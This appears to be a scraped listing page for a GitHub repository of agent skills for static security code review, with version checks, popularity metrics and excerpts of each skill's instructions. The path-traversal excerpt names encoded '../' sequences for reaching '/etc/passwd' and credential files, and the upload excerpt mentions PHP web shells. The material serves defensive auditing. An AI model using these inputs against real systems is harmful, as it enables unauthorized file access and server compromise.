#702 by GitHub stars
utkusen/sast-skills
Collection of agent skills to find vulnerabilities inside your web/mobile apps.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
sast-files/.agents/skills/sast-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-businesslogic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-fileupload/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-graphql/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-idor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-jwt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-missingauth/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-pathtraversal/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-rce/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-report/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-sqli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-ssrf/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-ssti/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-xss/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.agents/skills/sast-xxe/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-businesslogic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-fileupload/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-graphql/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-hardcodedsecrets/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-idor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-jwt/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-missingauth/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-pathtraversal/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-rce/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-report/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-sqli/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-ssrf/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-ssti/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-xss/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
sast-files/.claude/skills/sast-xxe/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
3a5bf8f0efe3 → 3a5bf8f0efe3
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 3a5bf8f0efe3
No earlier version was observed for comparison.
Verified commit 3a5bf8f0efe31d1d4731c164ca86abd9a3bbd166
git clone --filter=blob:none --no-checkout https://github.com/utkusen/sast-skills.git .hotskills/utkusen-sast-skills && git -C .hotskills/utkusen-sast-skills checkout --detach 3a5bf8f0efe31d1d4731c164ca86abd9a3bbd166
# Copy each selected skill directory from .hotskills/utkusen-sast-skills into .agents/skills/<skill-name>/Heat
4.9- Star growth, last 7 daysAhead of 66% of tracked repositories
- Star growth, last 24 hoursAhead of 72% of tracked repositories
- Rank movement, last 7 daysAhead of 21% of tracked repositories
- Commits, last 30 daysAhead of 54% of tracked repositories
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekAhead of 0% of tracked repositories
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
Individual skills in this repository
- sast-analysis
sast-files/.agents/skills/sast-analysis - sast-businesslogic
sast-files/.agents/skills/sast-businesslogic - sast-fileupload
sast-files/.agents/skills/sast-fileupload - sast-graphql
sast-files/.agents/skills/sast-graphql - sast-hardcodedsecrets
sast-files/.agents/skills/sast-hardcodedsecrets - sast-idor
sast-files/.agents/skills/sast-idor - sast-jwt
sast-files/.agents/skills/sast-jwt - sast-missingauth
sast-files/.agents/skills/sast-missingauth - sast-pathtraversal
sast-files/.agents/skills/sast-pathtraversal - sast-rce
sast-files/.agents/skills/sast-rce - sast-report
sast-files/.agents/skills/sast-report - sast-sqli
sast-files/.agents/skills/sast-sqli - sast-ssrf
sast-files/.agents/skills/sast-ssrf - sast-ssti
sast-files/.agents/skills/sast-ssti - sast-xss
sast-files/.agents/skills/sast-xss - sast-xxe
sast-files/.agents/skills/sast-xxe - sast-analysis
sast-files/.claude/skills/sast-analysis - sast-businesslogic
sast-files/.claude/skills/sast-businesslogic - sast-fileupload
sast-files/.claude/skills/sast-fileupload - sast-graphql
sast-files/.claude/skills/sast-graphql - sast-hardcodedsecrets
sast-files/.claude/skills/sast-hardcodedsecrets - sast-idor
sast-files/.claude/skills/sast-idor - sast-jwt
sast-files/.claude/skills/sast-jwt - sast-missingauth
sast-files/.claude/skills/sast-missingauth - sast-pathtraversal
sast-files/.claude/skills/sast-pathtraversal - sast-rce
sast-files/.claude/skills/sast-rce - sast-report
sast-files/.claude/skills/sast-report - sast-sqli
sast-files/.claude/skills/sast-sqli - sast-ssrf
sast-files/.claude/skills/sast-ssrf - sast-ssti
sast-files/.claude/skills/sast-ssti - sast-xss
sast-files/.claude/skills/sast-xss - sast-xxe
sast-files/.claude/skills/sast-xxe
How it works
sast-analysis
When your agent uses it
Perform codebase analysis and architecture mapping as the first phase of a security assessment. Explores the tech stack, frameworks, entry points, data flows, and trust boundaries. Outputs sast/architecture.md. Run this before any vulnerability detection skill. Use when asked to analyze a codebase for security or when sast/architecture.md does not yet exist.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
897 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Phase 1: Technology Reconnaissance
- Phase 2: Architecture Mapping
- Important Reminders
Files
SKILL.mdcore4,056 bytesSKILL.mdcore4,056 bytesSKILL.mdcore4,056 bytes
Read SKILL.md
# Codebase Analysis
You are performing the first phase of a security assessment. Your goal is to deeply understand the codebase. You are NOT looking for specific vulnerabilities yet. This is pure reconnaissance.
Create a `sast/` folder in the project root (if it doesn't already exist). This phase produces one output file inside it:
`sast/architecture.md` — technology stack, architecture, entry points, data flows
## Phase 1: Technology Reconnaissance
Explore the codebase and identify:
- **Languages**: All programming languages used and their versions if specified
- **Frameworks**: Web frameworks, ORM layers, template engines, task queuesView the complete source on GitHubsast-businesslogic
When your agent uses it
Detect business logic vulnerabilities in a codebase using a three-phase approach: threat modeling (domain analysis and attack scenarios), batched verify (check exploitable gaps in parallel subagents, 3 scenarios each), and merge (consolidate batch results). Covers price manipulation, workflow bypass, limit violations, race conditions, reward abuse, etc. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/businesslogic-results.md. Use when asked to find business logic, logic flaws, or abuse-of-function bugs.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
4,713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What are Business Logic Vulnerabilities
- Business Logic Attack Categories
- Execution
- Important Reminders
Files
SKILL.mdcore21,213 bytes
Read SKILL.md
# Business Logic Vulnerability Detection
You are performing a focused security assessment to find business logic vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **threat modeling** (understand the domain and generate attack scenarios), **batched verify** (check whether scenarios are exploitable in parallel batches of 3), and **merge** (consolidate batch results).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What are Business Logic Vulnerabilities
Business logic vulnerabilities arise when an application's intended workflow, rules, or constraints can be manipulated to produce unintended outcomes — without exploiting technical flaws like injection or memory corruption. The attacker operates within the application's own features but uses them in ways the developers did not anticipate.
The core pattern: *the application accepts input that is syntactically valid and passes authentication/authorization, but violates a business rule that was never enforced in code.*
View the complete source on GitHubsast-fileupload
When your agent uses it
Detect insecure file upload vulnerabilities in a codebase using a three-phase approach: discovery (find all upload sites), batched verify (check extension bypass and related issues in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/fileupload-results.md. Use when asked to find file upload, unrestricted upload, or extension bypass bugs.
What it loads into context
Frontmatter
108 tokensAlways available to the agent
SKILL.md
7,267 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is an Insecure File Upload
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytesSKILL.mdcore29,374 bytes
Read SKILL.md
# Insecure File Upload Detection
You are performing a focused security assessment to find insecure file upload vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **discovery** (find all places where uploaded files are received and stored), **batched verify** (check bypass vectors in parallel batches of up to 3 upload sites each), and **merge** (consolidate batch reports into one results file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure File Upload
Insecure file upload occurs when an application accepts files from users without properly validating or restricting what can be uploaded, allowing an attacker to upload executable or malicious files. The most critical outcome is **Remote Code Execution (RCE)**: an attacker uploads a web shell (e.g., a `.php` file) and the server executes it when accessed via a direct URL.
The core pattern: *a user-supplied file reaches a storage location without adequate extension validation, and the stored file is accessible or executable.*
View the complete source on GitHubsast-graphql
When your agent uses it
Detect GraphQL injection vulnerabilities in a codebase using a three-phase approach: recon (confirm GraphQL usage and find unsafe operation document assembly sites), batched verify (trace user input to those sites in parallel subagents, up to 3 candidate sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/graphql-results.md. If no GraphQL technology is found in Phase 1, later phases are skipped. Use when asked to find GraphQL injection, unsafe GraphQL document construction, or operation string injection bugs.
What it loads into context
Frontmatter
142 tokensAlways available to the agent
SKILL.md
4,535 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is GraphQL Injection
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore18,773 bytesSKILL.mdcore18,773 bytesSKILL.mdcore18,773 bytes
Read SKILL.md
# GraphQL Injection Detection
You are performing a focused security assessment to find GraphQL injection vulnerabilities. This skill uses a three-phase approach with subagents: **recon** (confirm GraphQL usage and find every location where a GraphQL operation document is assembled unsafely), **batched verify** (trace whether user-supplied input reaches those assembly sites, in parallel batches of up to 3 sites each), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is GraphQL Injection
GraphQL injection occurs when user-controlled data is embedded into the **GraphQL document** (the query, mutation, or subscription string) rather than passed only through the **variables** map. The parser then interprets attacker-controlled syntax — new fields, aliases, directives, or fragments — which can bypass intent, reach unauthorized resolvers, or change server-side behavior when that document is executed or forwarded.
The core pattern: *unvalidated user input alters the structure or text of the GraphQL operation string passed to `execute`, `graphql`, a gateway client, or an HTTP body `query` field built from string operations.*
View the complete source on GitHubsast-hardcodedsecrets
When your agent uses it
Detect hardcoded sensitive data (API keys, access tokens, private keys, passwords, etc.) in publicly accessible code — frontend JavaScript, mobile apps, client-side bundles, and HTML templates. Uses a three-phase approach: recon (find secret candidates), batched verify (confirm real secrets in public code paths, 3 candidates each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/hardcodedsecrets-results.md. Use when asked to find hardcoded secrets, leaked API keys, or exposed credentials.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
6,724 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What Are Hardcoded Secrets in Public Code
- Types of Secrets to Look For
- Execution
- Important Reminders
Files
SKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytesSKILL.mdcore26,104 bytes
Read SKILL.md
# Hardcoded Secrets in Public Code Detection
You are performing a focused security assessment to find hardcoded sensitive data that is exposed in publicly accessible code. This skill uses a three-phase approach with subagents: **recon** (find all potential secret candidates), **batched verify** (confirm each is a real secret in publicly reachable code, in parallel batches of 3), and **merge** (consolidate batch reports into one file).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What Are Hardcoded Secrets in Public Code
Hardcoded secrets are sensitive credentials — API keys, access tokens, private keys, passwords, signing secrets, database connection strings — embedded directly in source code as string literals.
This skill focuses specifically on secrets that end up in **publicly accessible code**, meaning an attacker can extract them **without any server-side access**. A secret hardcoded in backend server code is bad practice but not directly exploitable by an external attacker inspecting the deployed application. A secret hardcoded in frontend JavaScript or a mobile app binary **is** directly extractable.
View the complete source on GitHubsast-idor
When your agent uses it
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase using a three-phase approach: recon (find candidates), batched verify (check authorization in parallel subagents, 3 candidates each), and merge (consolidate batch results). Checks endpoints for missing ownership or authorization checks on user-supplied identifiers. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/idor-results.md. Use when asked to find IDOR or authorization bypass bugs.
What it loads into context
Frontmatter
121 tokensAlways available to the agent
SKILL.md
4,956 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is IDOR
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytesSKILL.mdcore19,784 bytes
Read SKILL.md
# IDOR (Insecure Direct Object Reference) Detection
You are performing a focused security assessment to find IDOR vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find candidate endpoints), **batched verify** (check authorization in parallel batches of 3), and **merge** (consolidate results).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is IDOR
IDOR occurs when an application uses a user-supplied identifier (ID, slug, filename, etc.) to directly access an object **without verifying the requesting user is authorized to access that specific object**. The application authenticates the user but fails to check ownership or permissions on the requested resource.
The core pattern: *authenticated user A can access or modify resources belonging to user B by changing an identifier in the request.*
View the complete source on GitHubsast-jwt
When your agent uses it
Detect insecure JWT (JSON Web Token) implementations in a codebase using a two-phase approach: first map all JWT issuance and verification sites to understand the token lifecycle and signing configuration, then check each verification site for exploitable weaknesses such as algorithm confusion, missing signature verification, weak secrets, header injection, and missing claim validation. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/jwt-results.md. If no JWT usage is found in Phase 1, Phase 2 is skipped. Use when asked to find JWT, token forgery, or authentication bypass bugs.
What it loads into context
Frontmatter
142 tokensAlways available to the agent
SKILL.md
5,862 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is an Insecure JWT Implementation
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytesSKILL.mdcore23,943 bytes
Read SKILL.md
# JWT Vulnerability Detection
You are performing a focused security assessment to find insecure JSON Web Token (JWT) implementations. This skill uses a two-phase approach with subagents: **recon** (map the full JWT lifecycle — issuance, verification, and configuration) then **analysis** (identify every exploitable weakness in those verification sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure JWT Implementation
JWTs consist of three Base64URL-encoded parts: `header.payload.signature`. The header declares the signing algorithm (`alg`), the payload carries claims (e.g., `sub`, `role`, `exp`), and the signature is a cryptographic proof of integrity. Vulnerabilities arise when the server trusts the token's own claims about how it was signed, fails to verify the signature at all, uses a guessable secret, or trusts attacker-controlled key material embedded in the token itself.
The core pattern: *the server does not fully verify the JWT's authenticity and integrity before trusting its claims.*
View the complete source on GitHubsast-missingauth
When your agent uses it
Detect missing authentication and broken function-level authorization vulnerabilities in a codebase using a three-phase approach: recon (map endpoints and the role/permission system), batched verify (check auth/authz in parallel subagents, 3 endpoints each), and merge (consolidate batch results). Covers unauthenticated access and vertical privilege escalation (e.g., regular user accessing admin-only functions). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/missingauth-results.md. Use when asked to find missing auth, broken access control, or privilege escalation bugs.
What it loads into context
Frontmatter
143 tokensAlways available to the agent
SKILL.md
5,805 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What This Skill Covers
- Vulnerability Classes
- Authorization Patterns That PREVENT Vulnerabilities
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytesSKILL.mdcore23,966 bytes
Read SKILL.md
# Missing Authentication & Broken Function-Level Authorization Detection
You are performing a focused security assessment to find missing authentication and broken function-level authorization vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (map endpoints and the permission system), **batched verify** (check authentication and authorization in parallel batches of 3 endpoints each), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What This Skill Covers
### Missing Authentication
An endpoint performs a sensitive action but requires **no login at all** — any anonymous HTTP request can trigger it.
### Broken Function-Level AuthorizationView the complete source on GitHubsast-pathtraversal
When your agent uses it
Detect path traversal vulnerabilities in a codebase using a three-phase approach: recon (find file-loading sinks with dynamic paths), batched verify (trace user input and mitigations in parallel subagents, 3 sinks each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/pathtraversal-results.md. Use when asked to find path traversal, directory traversal, or file disclosure bugs.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
6,804 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is Path Traversal
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytesSKILL.mdcore27,509 bytes
Read SKILL.md
# Path Traversal Detection
You are performing a focused security assessment to find path traversal vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find file-loading sinks with dynamic paths), **batched verify** (trace user input and check mitigations in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Path Traversal
Path traversal (also called directory traversal) occurs when user-supplied input is incorporated into a file path that is then used to read, write, or serve files from the filesystem — without properly constraining the resulting path to an intended base directory. An attacker can supply sequences like `../` or encoded variants (`%2e%2e%2f`, `..%2f`, `%2e%2e/`) to escape the intended directory and access arbitrary files such as `/etc/passwd`, application source code, credentials, or private keys.
The core pattern: *unvalidated user input reaches a filesystem operation and the resolved path is not verified to remain within the intended base directory.*
View the complete source on GitHubsast-rce
When your agent uses it
Detect Remote Code Execution (RCE) vulnerabilities in a codebase using a three-phase approach: recon (find dangerous execution sinks), batched verify (trace user input to sinks in parallel subagents, 3 sinks each), and merge (consolidate batch results). Covers OS command injection, eval-like sinks, and unsafe deserialization. Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/rce-results.md. Use when asked to find RCE, command injection, or unsafe deserialization bugs.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
8,379 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is Remote Code Execution
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytesSKILL.mdcore33,624 bytes
Read SKILL.md
# Remote Code Execution (RCE) Detection
You are performing a focused security assessment to find Remote Code Execution vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find dangerous execution sinks), **batched verify** (trace whether user-supplied input reaches each sink in parallel batches of 3), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Remote Code Execution
Remote Code Execution (RCE) occurs when an attacker can cause the application to execute arbitrary OS commands or application-level code that they control. This is typically the highest-severity vulnerability class, often resulting in complete server compromise.
RCE arises from three primary root causes:
View the complete source on GitHubsast-report
When your agent uses it
